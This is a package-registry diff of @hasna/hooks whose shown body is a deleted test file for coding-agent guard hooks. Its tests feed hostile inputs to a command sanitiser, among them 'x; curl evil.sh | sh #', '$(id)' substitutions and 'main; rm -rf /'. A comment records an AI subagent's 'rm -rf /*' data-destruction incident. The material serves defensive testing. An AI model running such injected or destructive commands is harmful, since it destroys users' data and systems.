@hasna/hooks 0.8.0 → 0.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +33 -5
- package/bin/hooks-mcp.js +4862 -0
- package/bin/index.js +592 -170
- package/bin/serve.js +33 -10
- package/dist/db/index.d.ts +8 -0
- package/dist/index.d.ts +4 -1
- package/dist/index.js +2870 -2709
- package/dist/lib/db-writer.d.ts +30 -1
- package/dist/lib/installer.d.ts +40 -1
- package/dist/lib/local-opt-in.d.ts +26 -0
- package/dist/lib/registration.d.ts +75 -0
- package/dist/lib/registry.d.ts +14 -0
- package/dist/lib/sync.d.ts +17 -1
- package/dist/sdk/index.d.ts +103 -0
- package/dist/sdk/index.js +1050 -0
- package/dist/storage.js +15 -1
- package/hooks/hook-agent-rules-version-check/README.md +1 -1
- package/hooks/hook-trash-guard/README.md +147 -0
- package/hooks/hook-trash-guard/package.json +12 -0
- package/hooks/hook-trash-guard/src/hook.ts +1142 -0
- package/package.json +10 -3
- package/scripts/validate-package.ts +31 -4
- package/hooks/codewith-native-common.test.ts +0 -1935
- package/hooks/hook-affected-tests/tsconfig.json +0 -25
- package/hooks/hook-agent-rules-version-check/src/hook.test.ts +0 -104
- package/hooks/hook-agent-rules-version-check/tsconfig.json +0 -25
- package/hooks/hook-announce-start/tsconfig.json +0 -25
- package/hooks/hook-announce-stop/tsconfig.json +0 -25
- package/hooks/hook-autoformat/tsconfig.json +0 -25
- package/hooks/hook-branchprotect/tsconfig.json +0 -25
- package/hooks/hook-checkbugs/tsconfig.json +0 -15
- package/hooks/hook-checkdocs/tsconfig.json +0 -15
- package/hooks/hook-checkfiles/tsconfig.json +0 -15
- package/hooks/hook-checklint/tsconfig.json +0 -15
- package/hooks/hook-checkpoint/tsconfig.json +0 -25
- package/hooks/hook-checksecurity/tsconfig.json +0 -15
- package/hooks/hook-checktasks/tsconfig.json +0 -20
- package/hooks/hook-checktests/tsconfig.json +0 -15
- package/hooks/hook-conflict-detect/tsconfig.json +0 -25
- package/hooks/hook-contextrefresh/tsconfig.json +0 -25
- package/hooks/hook-desktopnotify/tsconfig.json +0 -25
- package/hooks/hook-dm-inject/tsconfig.json +0 -25
- package/hooks/hook-envsetup/tsconfig.json +0 -25
- package/hooks/hook-failure-to-task/tsconfig.json +0 -25
- package/hooks/hook-filelock/tsconfig.json +0 -25
- package/hooks/hook-fleet-blockers-gate/src/hook.test.ts +0 -302
- package/hooks/hook-fleet-blockers-gate/tsconfig.json +0 -25
- package/hooks/hook-fleet-catchup/src/hook.test.ts +0 -156
- package/hooks/hook-fleet-catchup/tsconfig.json +0 -25
- package/hooks/hook-gitguard/tsconfig.json +0 -25
- package/hooks/hook-knowledge-context/src/hook.test.ts +0 -379
- package/hooks/hook-packageage/tsconfig.json +0 -25
- package/hooks/hook-permissionguard/tsconfig.json +0 -25
- package/hooks/hook-phonenotify/tsconfig.json +0 -25
- package/hooks/hook-precompact/tsconfig.json +0 -25
- package/hooks/hook-protectfiles/tsconfig.json +0 -25
- package/hooks/hook-scanoutput/src/hook.test.ts +0 -217
- package/hooks/hook-spiral-detector/src/hook.test.ts +0 -72
- package/hooks/hook-stylescheck/tsconfig.json +0 -25
- package/hooks/hook-typecheck-gate/tsconfig.json +0 -25
- package/hooks/hook-workspace-repos-guard/src/hook.test.ts +0 -466
- package/hooks/hook-workspace-repos-guard/tsconfig.json +0 -21
- package/hooks/mention-context/src/hook.test.ts +0 -68
|
@@ -1,1935 +0,0 @@
|
|
|
1
|
-
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, test } from "bun:test";
|
|
2
|
-
import { join } from "path";
|
|
3
|
-
import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "fs";
|
|
4
|
-
import { homedir, tmpdir } from "os";
|
|
5
|
-
import {
|
|
6
|
-
claimCommand,
|
|
7
|
-
classifyDangerousOperation,
|
|
8
|
-
emptyExpansionCollapse,
|
|
9
|
-
globComponentMatches,
|
|
10
|
-
defaultWorktreesRoot,
|
|
11
|
-
getAgentName,
|
|
12
|
-
gitCommandInfo,
|
|
13
|
-
gitRemoteHostSlug,
|
|
14
|
-
managedWorktreeInfo,
|
|
15
|
-
SYSTEM_PROTECTED_ROOTS,
|
|
16
|
-
} from "./codewith-native-common";
|
|
17
|
-
|
|
18
|
-
describe("codewith native common helpers", () => {
|
|
19
|
-
test("gitCommandInfo detects global option commit/push forms and target cwd", () => {
|
|
20
|
-
const base = mkdtempSync(join(tmpdir(), "hooks-common-"));
|
|
21
|
-
try {
|
|
22
|
-
expect(gitCommandInfo("git -c user.name=test commit -m test", base)?.action).toBe("commit");
|
|
23
|
-
expect(gitCommandInfo("git -C ./repo push origin feature", base)).toMatchObject({
|
|
24
|
-
action: "push",
|
|
25
|
-
targetCwd: join(base, "repo"),
|
|
26
|
-
});
|
|
27
|
-
expect(gitCommandInfo("git --git-dir .git --work-tree . commit", base)).toMatchObject({
|
|
28
|
-
action: "commit",
|
|
29
|
-
targetCwd: base,
|
|
30
|
-
});
|
|
31
|
-
} finally {
|
|
32
|
-
rmSync(base, { recursive: true, force: true });
|
|
33
|
-
}
|
|
34
|
-
});
|
|
35
|
-
|
|
36
|
-
describe("managedWorktreeInfo canonical path shape (Agent Operating Rules rule 8)", () => {
|
|
37
|
-
let tmp: string;
|
|
38
|
-
let root: string;
|
|
39
|
-
let previous: string | undefined;
|
|
40
|
-
|
|
41
|
-
beforeEach(() => {
|
|
42
|
-
tmp = mkdtempSync(join(tmpdir(), "hooks-worktrees-"));
|
|
43
|
-
root = join(tmp, "worktrees");
|
|
44
|
-
previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
45
|
-
process.env.HASNA_REPOS_WORKTREES_ROOT = root;
|
|
46
|
-
});
|
|
47
|
-
|
|
48
|
-
afterEach(() => {
|
|
49
|
-
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
50
|
-
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
51
|
-
rmSync(tmp, { recursive: true, force: true });
|
|
52
|
-
});
|
|
53
|
-
|
|
54
|
-
const git = (cwd: string, ...args: string[]): void => {
|
|
55
|
-
// Disable hooks for fixture repos: the machine's ambient global
|
|
56
|
-
// core.hooksPath (e.g. a lefthook wrapper) writes to commit stderr and
|
|
57
|
-
// would fail the empty-stderr assertion below for reasons unrelated to
|
|
58
|
-
// the code under test.
|
|
59
|
-
const result = Bun.spawnSync(["git", "-c", "user.name=t", "-c", "user.email=t@t.invalid", "-c", "core.hooksPath=", ...args], {
|
|
60
|
-
cwd,
|
|
61
|
-
stdout: "pipe",
|
|
62
|
-
stderr: "pipe",
|
|
63
|
-
});
|
|
64
|
-
expect(result.stderr.toString(), args.join(" ")).toBe("");
|
|
65
|
-
};
|
|
66
|
-
|
|
67
|
-
/** A real repository, so provenance checks see what git actually writes. */
|
|
68
|
-
const makeSourceRepo = (): string => {
|
|
69
|
-
const source = join(tmp, `source-${Math.random().toString(36).slice(2)}`);
|
|
70
|
-
mkdirSync(source, { recursive: true });
|
|
71
|
-
git(source, "init", "-q", "-b", "main");
|
|
72
|
-
writeFileSync(join(source, "README.md"), "fixture\n");
|
|
73
|
-
git(source, "add", "README.md");
|
|
74
|
-
git(source, "commit", "-qm", "fixture");
|
|
75
|
-
return source;
|
|
76
|
-
};
|
|
77
|
-
|
|
78
|
-
/** A genuine linked worktree at the canonical path, created by git itself. */
|
|
79
|
-
const makeWorktree = (repo: string, worktree: string, kind: "linked" | "standalone" = "linked"): string => {
|
|
80
|
-
const worktreeRoot = join(root, repo, worktree);
|
|
81
|
-
mkdirSync(join(root, repo), { recursive: true });
|
|
82
|
-
if (kind === "standalone") {
|
|
83
|
-
mkdirSync(worktreeRoot, { recursive: true });
|
|
84
|
-
git(worktreeRoot, "init", "-q", "-b", "main");
|
|
85
|
-
} else {
|
|
86
|
-
git(makeSourceRepo(), "worktree", "add", "-q", "--detach", worktreeRoot);
|
|
87
|
-
}
|
|
88
|
-
return worktreeRoot;
|
|
89
|
-
};
|
|
90
|
-
|
|
91
|
-
test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
|
|
92
|
-
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
93
|
-
const info = managedWorktreeInfo(worktreeRoot);
|
|
94
|
-
expect(info.managed).toBe(true);
|
|
95
|
-
expect(info.layout).toBe("canonical");
|
|
96
|
-
expect(info.repo).toBe("hooks");
|
|
97
|
-
expect(info.worktree).toBe("OPE61-00004-worktree-guard");
|
|
98
|
-
expect(info.worktreeRoot).toBe(worktreeRoot);
|
|
99
|
-
expect(info.deprecated).toBeUndefined();
|
|
100
|
-
});
|
|
101
|
-
|
|
102
|
-
test("accepts a canonical path whose checkout is a standalone repo", () => {
|
|
103
|
-
// Rule 8 governs where the checkout lives, not whether it is a linked worktree.
|
|
104
|
-
expect(managedWorktreeInfo(makeWorktree("hooks", "standalone", "standalone")).managed).toBe(true);
|
|
105
|
-
});
|
|
106
|
-
|
|
107
|
-
test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
|
|
108
|
-
// A `.git` file is two lines of text. Pointing it at a shared checkout's `.git`
|
|
109
|
-
// makes git commit/push from here land on that checkout — so shape and the mere
|
|
110
|
-
// presence of `.git` are not evidence; provenance has to be proven.
|
|
111
|
-
const shared = makeSourceRepo();
|
|
112
|
-
const forged = join(root, "victimrepo", "wt");
|
|
113
|
-
mkdirSync(forged, { recursive: true });
|
|
114
|
-
writeFileSync(join(forged, ".git"), `gitdir: ${join(shared, ".git")}\n`);
|
|
115
|
-
|
|
116
|
-
const info = managedWorktreeInfo(forged);
|
|
117
|
-
expect(info.managed).toBe(false);
|
|
118
|
-
expect(info.reason).toContain("provenance could not be verified");
|
|
119
|
-
});
|
|
120
|
-
|
|
121
|
-
test("rejects a .git directory grafted onto another repository", () => {
|
|
122
|
-
const grafted = join(root, "victimrepo", "grafted");
|
|
123
|
-
mkdirSync(join(grafted, ".git"), { recursive: true });
|
|
124
|
-
writeFileSync(join(grafted, ".git", "HEAD"), "ref: refs/heads/main\n");
|
|
125
|
-
writeFileSync(join(grafted, ".git", "commondir"), "/elsewhere/.git\n");
|
|
126
|
-
|
|
127
|
-
expect(managedWorktreeInfo(grafted).reason).toContain("grafted onto another repository");
|
|
128
|
-
});
|
|
129
|
-
|
|
130
|
-
test("rejects a .git directory whose object or ref storage is symlinked away", () => {
|
|
131
|
-
// Needs no write inside the victim: symlinking objects+refs makes commits here
|
|
132
|
-
// land on the victim's refs, the same end state as a forged .git file.
|
|
133
|
-
const shared = makeSourceRepo();
|
|
134
|
-
for (const [name, store] of [["objects-graft", "objects"], ["refs-graft", "refs"]] as const) {
|
|
135
|
-
const grafted = join(root, "victimrepo", name);
|
|
136
|
-
mkdirSync(join(grafted, ".git"), { recursive: true });
|
|
137
|
-
writeFileSync(join(grafted, ".git", "HEAD"), "ref: refs/heads/main\n");
|
|
138
|
-
for (const dir of ["objects", "refs"]) {
|
|
139
|
-
if (dir === store) symlinkSync(join(shared, ".git", dir), join(grafted, ".git", dir));
|
|
140
|
-
else mkdirSync(join(grafted, ".git", dir), { recursive: true });
|
|
141
|
-
}
|
|
142
|
-
const info = managedWorktreeInfo(grafted);
|
|
143
|
-
expect(info.managed, name).toBe(false);
|
|
144
|
-
expect(info.reason, name).toContain(`${store} is grafted onto another repository`);
|
|
145
|
-
}
|
|
146
|
-
});
|
|
147
|
-
|
|
148
|
-
test("rejects a worktree whose repository no longer registers it", () => {
|
|
149
|
-
// Real fleet state: the parent repo was pruned, so git itself refuses to work here.
|
|
150
|
-
const worktreeRoot = makeWorktree("hooks", "orphaned");
|
|
151
|
-
rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
|
|
152
|
-
writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
|
|
153
|
-
|
|
154
|
-
expect(managedWorktreeInfo(worktreeRoot).managed).toBe(false);
|
|
155
|
-
});
|
|
156
|
-
|
|
157
|
-
test("accepts subdirectories of a canonical worktree", () => {
|
|
158
|
-
const worktreeRoot = makeWorktree("hooks", "OPE61-00004-worktree-guard");
|
|
159
|
-
mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
|
|
160
|
-
|
|
161
|
-
for (const nested of [
|
|
162
|
-
join(worktreeRoot, "hooks"),
|
|
163
|
-
join(worktreeRoot, "hooks", "worktree-guard", "src"),
|
|
164
|
-
]) {
|
|
165
|
-
const info = managedWorktreeInfo(nested);
|
|
166
|
-
expect(info.managed).toBe(true);
|
|
167
|
-
expect(info.layout).toBe("canonical");
|
|
168
|
-
expect(info.worktreeRoot).toBe(worktreeRoot);
|
|
169
|
-
}
|
|
170
|
-
});
|
|
171
|
-
|
|
172
|
-
test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
|
|
173
|
-
// The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
|
|
174
|
-
// shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
|
|
175
|
-
const flat = join(root, "hooks-flat-worktree");
|
|
176
|
-
mkdirSync(join(flat, "src"), { recursive: true });
|
|
177
|
-
git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
|
|
178
|
-
|
|
179
|
-
const info = managedWorktreeInfo(join(flat, "src"));
|
|
180
|
-
expect(info.managed).toBe(false);
|
|
181
|
-
expect(info.reason).toContain("is not a git worktree root (no .git)");
|
|
182
|
-
});
|
|
183
|
-
|
|
184
|
-
test("rejects a canonical-shaped path that is not a worktree root", () => {
|
|
185
|
-
mkdirSync(join(root, "invented", "worktree"), { recursive: true });
|
|
186
|
-
expect(managedWorktreeInfo(join(root, "invented", "worktree")).reason).toContain("not a git worktree root");
|
|
187
|
-
expect(managedWorktreeInfo(join(root, "never", "created")).reason).toContain("no worktree exists at");
|
|
188
|
-
});
|
|
189
|
-
|
|
190
|
-
test("rejects a canonical-shaped path reached through a symlink", () => {
|
|
191
|
-
// A symlinked segment can aim a compliant-looking path at a shared checkout.
|
|
192
|
-
const shared = join(tmp, "shared-checkout");
|
|
193
|
-
mkdirSync(shared, { recursive: true });
|
|
194
|
-
writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
|
|
195
|
-
mkdirSync(join(root, "hooks"), { recursive: true });
|
|
196
|
-
symlinkSync(shared, join(root, "hooks", "linked"));
|
|
197
|
-
symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
|
|
198
|
-
mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
|
|
199
|
-
|
|
200
|
-
expect(managedWorktreeInfo(join(root, "hooks", "linked")).reason).toContain("traverses a symlink");
|
|
201
|
-
expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
|
|
202
|
-
});
|
|
203
|
-
|
|
204
|
-
test("rejects a flat single-segment worktree under the worktrees root", () => {
|
|
205
|
-
const info = managedWorktreeInfo(join(root, "hooks-flat-worktree"));
|
|
206
|
-
expect(info.managed).toBe(false);
|
|
207
|
-
expect(info.layout).toBeUndefined();
|
|
208
|
-
expect(info.reason).toContain("flat under the worktrees root");
|
|
209
|
-
expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
|
|
210
|
-
});
|
|
211
|
-
|
|
212
|
-
test("rejects the worktrees root itself", () => {
|
|
213
|
-
const info = managedWorktreeInfo(root);
|
|
214
|
-
expect(info.managed).toBe(false);
|
|
215
|
-
expect(info.reason).toContain("worktrees root itself");
|
|
216
|
-
});
|
|
217
|
-
|
|
218
|
-
test("rejects paths outside the worktrees root", () => {
|
|
219
|
-
const info = managedWorktreeInfo(join(tmp, "elsewhere", "hooks"));
|
|
220
|
-
expect(info.managed).toBe(false);
|
|
221
|
-
expect(info.reason).toBe("outside worktrees root");
|
|
222
|
-
});
|
|
223
|
-
|
|
224
|
-
test("rejects a station-id segment in front of <repo>/<worktree>", () => {
|
|
225
|
-
const info = managedWorktreeInfo(join(root, "station01", "hooks", "OPE61-00004-worktree-guard"));
|
|
226
|
-
expect(info.managed).toBe(false);
|
|
227
|
-
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
228
|
-
expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
|
|
229
|
-
});
|
|
230
|
-
|
|
231
|
-
const LEASE = ["station01", "hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
|
|
232
|
-
|
|
233
|
-
/** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
|
|
234
|
-
const makeLeaseWorktree = (nested: boolean): string => {
|
|
235
|
-
const leaseRoot = join(root, ...LEASE);
|
|
236
|
-
const checkout = nested ? join(leaseRoot, "repo") : leaseRoot;
|
|
237
|
-
mkdirSync(join(checkout, ".."), { recursive: true });
|
|
238
|
-
git(makeSourceRepo(), "worktree", "add", "-q", "--detach", checkout);
|
|
239
|
-
return checkout;
|
|
240
|
-
};
|
|
241
|
-
|
|
242
|
-
test("rejects the deprecated station-id lease layout, labelling it for migration", () => {
|
|
243
|
-
const info = managedWorktreeInfo(makeLeaseWorktree(false));
|
|
244
|
-
expect(info.managed).toBe(false);
|
|
245
|
-
expect(info.layout).toBe("legacy-station-lease");
|
|
246
|
-
expect(info.deprecated).toBe(true);
|
|
247
|
-
expect(info.reason).toContain("deprecated station-id lease layout");
|
|
248
|
-
expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
|
|
249
|
-
});
|
|
250
|
-
|
|
251
|
-
test("recognises the legacy lease layout from inside it, like a canonical subdirectory", () => {
|
|
252
|
-
const leaseRoot = makeLeaseWorktree(false);
|
|
253
|
-
mkdirSync(join(leaseRoot, "src"), { recursive: true });
|
|
254
|
-
const info = managedWorktreeInfo(join(leaseRoot, "src"));
|
|
255
|
-
expect(info.layout).toBe("legacy-station-lease");
|
|
256
|
-
expect(info.worktreeRoot).toBe(leaseRoot);
|
|
257
|
-
});
|
|
258
|
-
|
|
259
|
-
test("recognises the legacy variant whose checkout sits in a repo/ child", () => {
|
|
260
|
-
const checkout = makeLeaseWorktree(true);
|
|
261
|
-
const info = managedWorktreeInfo(checkout);
|
|
262
|
-
expect(info.layout).toBe("legacy-station-lease");
|
|
263
|
-
expect(info.worktreeRoot).toBe(checkout);
|
|
264
|
-
});
|
|
265
|
-
|
|
266
|
-
test("does not let the legacy lease name pattern launder an ungrounded path", () => {
|
|
267
|
-
// The migration tolerance grants a weaker verdict than "blocked", so two
|
|
268
|
-
// directories named to match the pattern must not buy it without provenance.
|
|
269
|
-
const shared = makeSourceRepo();
|
|
270
|
-
mkdirSync(join(root, "anything", "y-abcdef1"), { recursive: true });
|
|
271
|
-
symlinkSync(shared, join(root, "anything", "y-abcdef1", "wt_0123456789abcdef"));
|
|
272
|
-
mkdirSync(join(root, "other", "z-abcdef1", "wt_0123456789abcdef"), { recursive: true });
|
|
273
|
-
|
|
274
|
-
for (const forged of [
|
|
275
|
-
join(root, "anything", "y-abcdef1", "wt_0123456789abcdef"),
|
|
276
|
-
join(root, "other", "z-abcdef1", "wt_0123456789abcdef"),
|
|
277
|
-
]) {
|
|
278
|
-
const info = managedWorktreeInfo(forged);
|
|
279
|
-
expect(info.managed, forged).toBe(false);
|
|
280
|
-
expect(info.layout, forged).toBeUndefined();
|
|
281
|
-
}
|
|
282
|
-
});
|
|
283
|
-
|
|
284
|
-
test("rejects nesting deeper than the canonical shape", () => {
|
|
285
|
-
const info = managedWorktreeInfo(join(root, "station01", "hooks", "wt-name", "repo"));
|
|
286
|
-
expect(info.managed).toBe(false);
|
|
287
|
-
expect(info.layout).toBeUndefined();
|
|
288
|
-
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
289
|
-
});
|
|
290
|
-
|
|
291
|
-
test("rejects malformed canonical segments", () => {
|
|
292
|
-
expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
293
|
-
expect(managedWorktreeInfo(join(root, "hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
|
|
294
|
-
expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
295
|
-
expect(managedWorktreeInfo(join(root, "hooks", ".git")).reason).toContain("worktree-name segment is malformed");
|
|
296
|
-
});
|
|
297
|
-
|
|
298
|
-
test("accepts ordinary directory names an allowlist would wrongly reject", () => {
|
|
299
|
-
// Observed on the fleet: connectors/_base. Long and punctuated names are legal
|
|
300
|
-
// directory names, so the guard must not invent a stricter naming rule.
|
|
301
|
-
for (const [repo, worktree] of [
|
|
302
|
-
["connectors", "_base"],
|
|
303
|
-
["c++utils", "OPE61-00004"],
|
|
304
|
-
["hooks", "e".repeat(200)],
|
|
305
|
-
["Open-Hooks", "task~1 with spaces"],
|
|
306
|
-
]) {
|
|
307
|
-
expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
|
|
308
|
-
}
|
|
309
|
-
});
|
|
310
|
-
});
|
|
311
|
-
|
|
312
|
-
test("claimCommand renders the canonical worktree path template", () => {
|
|
313
|
-
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
314
|
-
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
315
|
-
try {
|
|
316
|
-
// The canonical repo name comes from the repos CLI, and is frequently not the
|
|
317
|
-
// git remote basename: `hooks` is `github.com/hasna/hooks`.
|
|
318
|
-
expect(claimCommand("hooks", "OPE61-00004", "main")).toBe(
|
|
319
|
-
"git worktree add -b OPE61-00004 /root/worktrees/hooks/OPE61-00004 origin/main && repos scan",
|
|
320
|
-
);
|
|
321
|
-
expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
|
|
322
|
-
expect(claimCommand("hooks", "OPE61-00004")).toContain("origin/<default-branch>");
|
|
323
|
-
} finally {
|
|
324
|
-
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
325
|
-
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
326
|
-
}
|
|
327
|
-
});
|
|
328
|
-
|
|
329
|
-
test("claimCommand never derives the repo segment from a remote slug", () => {
|
|
330
|
-
// `hasna/hooks` is this repo's remote slug; its canonical name is `hooks`.
|
|
331
|
-
// Silently taking the basename would emit `hooks/`, a directory that does not
|
|
332
|
-
// exist — so a slug must be refused outright, not trimmed into a plausible lie.
|
|
333
|
-
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
334
|
-
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
335
|
-
try {
|
|
336
|
-
const fromSlug = claimCommand("hasna/hooks", "OPE61-00004");
|
|
337
|
-
expect(fromSlug).toContain("/root/worktrees/<repo-name>/OPE61-00004");
|
|
338
|
-
expect(fromSlug).not.toContain("/root/worktrees/hooks/");
|
|
339
|
-
expect(claimCommand(null, "OPE61-00004")).toContain("/root/worktrees/<repo-name>/OPE61-00004");
|
|
340
|
-
} finally {
|
|
341
|
-
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
342
|
-
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
343
|
-
}
|
|
344
|
-
});
|
|
345
|
-
|
|
346
|
-
test("claimCommand refuses to interpolate unsafe values into a pasteable command", () => {
|
|
347
|
-
// taskIdFrom() reads unvalidated hook input, and the repo name is influenced by
|
|
348
|
-
// the git remote, so this is where both get validated.
|
|
349
|
-
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
350
|
-
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
351
|
-
try {
|
|
352
|
-
const safe = "git worktree add -b <worktree-name> /root/worktrees/hooks/<worktree-name> origin/<default-branch> && repos scan";
|
|
353
|
-
for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
|
|
354
|
-
// Hostile input never reaches the rendered command; it degrades to the placeholder.
|
|
355
|
-
expect(claimCommand("hooks", hostile), hostile).toBe(safe);
|
|
356
|
-
}
|
|
357
|
-
for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
|
|
358
|
-
expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
|
|
359
|
-
}
|
|
360
|
-
expect(claimCommand("hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
|
|
361
|
-
} finally {
|
|
362
|
-
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
363
|
-
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
364
|
-
}
|
|
365
|
-
});
|
|
366
|
-
|
|
367
|
-
test("respond writes the whole verdict even when the process exits immediately", async () => {
|
|
368
|
-
// process.stdout.write is async on a pipe, so a verdict larger than the pipe
|
|
369
|
-
// buffer used to be truncated by the exit — and a truncated verdict is unparseable.
|
|
370
|
-
const script = join(mkdtempSync(join(tmpdir(), "hooks-respond-")), "emit.ts");
|
|
371
|
-
writeFileSync(script, [
|
|
372
|
-
`import { respond } from ${JSON.stringify(join(import.meta.dir, "codewith-native-common"))};`,
|
|
373
|
-
`respond({ decision: "block", reason: "x".repeat(1048576) });`,
|
|
374
|
-
"process.exit(0);",
|
|
375
|
-
].join("\n"));
|
|
376
|
-
|
|
377
|
-
const proc = Bun.spawn([process.execPath, "run", script], { stdout: "pipe", stderr: "pipe" });
|
|
378
|
-
const stdout = await new Response(proc.stdout).text();
|
|
379
|
-
await proc.exited;
|
|
380
|
-
|
|
381
|
-
expect(stdout.length).toBeGreaterThan(1048576);
|
|
382
|
-
expect(JSON.parse(stdout).reason).toHaveLength(1048576);
|
|
383
|
-
});
|
|
384
|
-
|
|
385
|
-
test("gitRemoteHostSlug normalises origin to the repos CLI's exact host/org/name form", async () => {
|
|
386
|
-
const base = mkdtempSync(join(tmpdir(), "hooks-remote-"));
|
|
387
|
-
try {
|
|
388
|
-
const cases: Array<[string, string | null]> = [
|
|
389
|
-
["https://github.com/hasna/hooks.git", "github.com/hasna/hooks"],
|
|
390
|
-
["https://github.com/hasna/hooks", "github.com/hasna/hooks"],
|
|
391
|
-
["git@github.com:hasna/hooks.git", "github.com/hasna/hooks"],
|
|
392
|
-
["ssh://git@github.com/hasna/hooks.git", "github.com/hasna/hooks"],
|
|
393
|
-
// Not an org/name pair, so there is no exact repos CLI key to look up.
|
|
394
|
-
["https://example.com/hooks.git", null],
|
|
395
|
-
];
|
|
396
|
-
|
|
397
|
-
for (const [remote, expected] of cases) {
|
|
398
|
-
const repo = join(base, `repo-${cases.findIndex(([r]) => r === remote)}`);
|
|
399
|
-
mkdirSync(repo, { recursive: true });
|
|
400
|
-
expect(Bun.spawnSync(["git", "init", "-q"], { cwd: repo }).exitCode).toBe(0);
|
|
401
|
-
expect(Bun.spawnSync(["git", "remote", "add", "origin", remote], { cwd: repo }).exitCode).toBe(0);
|
|
402
|
-
expect(await gitRemoteHostSlug(repo), remote).toBe(expected);
|
|
403
|
-
}
|
|
404
|
-
} finally {
|
|
405
|
-
rmSync(base, { recursive: true, force: true });
|
|
406
|
-
}
|
|
407
|
-
});
|
|
408
|
-
|
|
409
|
-
test("getAgentName reads Codewith input.agent profile injection", () => {
|
|
410
|
-
const saved = {
|
|
411
|
-
HOOKS_AGENT_NAME: process.env.HOOKS_AGENT_NAME,
|
|
412
|
-
CODEWITH_AGENT_NAME: process.env.CODEWITH_AGENT_NAME,
|
|
413
|
-
CONVERSATIONS_AGENT_ID: process.env.CONVERSATIONS_AGENT_ID,
|
|
414
|
-
};
|
|
415
|
-
delete process.env.HOOKS_AGENT_NAME;
|
|
416
|
-
delete process.env.CODEWITH_AGENT_NAME;
|
|
417
|
-
delete process.env.CONVERSATIONS_AGENT_ID;
|
|
418
|
-
try {
|
|
419
|
-
expect(getAgentName({ agent: { name: "profile-agent" } })).toBe("profile-agent");
|
|
420
|
-
expect(getAgentName({ agent: { agent_id: "profile_id" } })).toBe("profile_id");
|
|
421
|
-
} finally {
|
|
422
|
-
for (const [key, value] of Object.entries(saved)) {
|
|
423
|
-
if (value === undefined) delete process.env[key];
|
|
424
|
-
else process.env[key] = value;
|
|
425
|
-
}
|
|
426
|
-
}
|
|
427
|
-
});
|
|
428
|
-
});
|
|
429
|
-
|
|
430
|
-
/**
|
|
431
|
-
* Regression suite for the 2026-07-24 station02 data-destruction incident.
|
|
432
|
-
*
|
|
433
|
-
* A subagent composed `bash -c 'rm -rf "$(bun pm cache)"/* ; ... bun add -g ...'` and ssh'd
|
|
434
|
-
* it to station02. `bun pm cache` exits 1 with an empty stdout when no package.json is found
|
|
435
|
-
* walking up from cwd, so the substitution collapsed and the command ran as `rm -rf /*`. It
|
|
436
|
-
* ran unprivileged for ~5 minutes, freed ~700 GB, and destroyed the org repo checkouts;
|
|
437
|
-
* hasna/cloud's source is permanently gone.
|
|
438
|
-
*
|
|
439
|
-
* Every case below is a command STRING handed to the classifier. Nothing here executes any
|
|
440
|
-
* rm, at any scope, ever.
|
|
441
|
-
*/
|
|
442
|
-
describe("destructive shell guard - rm -rf /* incident regression", () => {
|
|
443
|
-
/**
|
|
444
|
-
* Root for throwaway git fixtures.
|
|
445
|
-
*
|
|
446
|
-
* Deliberately NOT the real $HOME - a crashed run would strand repos in the operator's home
|
|
447
|
-
* directory. Also deliberately not shared with any `pushd` target used below: a fixture
|
|
448
|
-
* under the same tree as the pushd target once made the popd test pass for the wrong
|
|
449
|
